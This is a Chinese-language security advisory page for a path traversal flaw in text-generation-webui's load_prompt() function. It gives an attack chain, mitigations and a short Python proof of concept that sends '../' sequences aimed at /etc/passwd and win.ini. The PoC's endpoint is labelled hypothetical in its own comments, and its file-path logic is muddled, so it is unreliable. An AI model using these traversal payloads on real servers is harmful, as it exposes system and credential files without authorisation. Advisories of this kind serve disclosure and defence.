IPBUF安全漏洞报告
English
CVE-2026-35487 CVSS 5.3 中危

CVE-2026-35487 text-generation-webui路径遍历漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35487
漏洞类型
路径遍历
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
text-generation-webui

相关标签

路径遍历信息泄露text-generation-webuiLLM无需认证

漏洞概述

text-generation-webui是一个广泛使用的开源Web界面,用于运行和管理大型语言模型。在4.3版本之前,该软件被发现存在一个严重的未经身份验证的路径遍历漏洞,具体位于`load_prompt()`函数中。攻击者无需登录,即可利用该漏洞构造恶意请求,读取服务器文件系统上的任意.txt文件。被读取的文件内容会原样显示在API响应中。鉴于该漏洞利用门槛低且可能泄露敏感数据,管理员应立即采取措施进行修复。

技术细节

该漏洞的核心原理在于text-generation-webui在处理`load_prompt()`功能时,未能对用户提交的文件路径参数进行有效的安全校验和标准化处理。在受影响的版本中,应用程序直接接收外部输入的路径字符串,并使用该路径在服务器文件系统上进行文件读取操作。由于代码逻辑中缺少对“../”等目录遍历序列的过滤,攻击者可以通过在请求参数中插入特定的路径跳转字符,突破Web根目录的限制,访问服务器上的其他目录。根据漏洞描述,该漏洞专门针对.txt文件,攻击者可以遍历目录查找并读取包含敏感信息的文本文件,如数据库配置、环境变量文件或日志文件。服务器在处理完恶意请求后,会将读取到的文件内容直接封装进API响应包返回给攻击者,从而造成信息泄露。整个过程无需用户交互,且不需要任何身份凭证,通过网络即可直接触发。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器运行的是text-generation-webui,且版本低于4.3。
STEP 2
漏洞利用
攻击者向`load_prompt()`接口发送特制的HTTP请求,在参数中插入“../”路径遍历序列,指向服务器上的敏感.txt文件。
STEP 3
数据泄露
服务器解析恶意路径,读取指定文件内容,并将其直接包含在API响应中返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: CVE-2026-35487 text-generation-webui Path Traversal PoC # Description: Unauthenticated path traversal allows reading any .txt file via load_prompt() # Target configuration target_host = "http://127.0.0.1:5000" # The vulnerability exists in the load_prompt functionality. # Attackers can traverse directories using '../' sequences. # Note: The vulnerability description specifies it reads any .txt file. malicious_payload = { # Attempting to read a sensitive file (e.g., config.txt located in parent directories) "prompt_file": "../../../../../etc/passwd.txt" # If the system reads /etc/passwd (without .txt), try targeting a known .txt file location. # Example: "../../../../../windows/win.ini" if the app appends .txt automatically. } print(f"[*] Attempting to exploit {target_host}...") try: # Sending the request to the hypothetical endpoint response = requests.post(f"{target_host}/api/v1/load-prompt", data=malicious_payload, timeout=10) if response.status_code == 200: print("[+] Request successful! Check response content below:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

text-generation-webui < 4.3

防御指南

临时缓解措施
如果无法立即升级软件,建议通过防火墙规则限制对text-generation-webui服务的外部访问,或者禁用`load_prompt()`相关的API接口功能,以防止未授权的文件读取操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表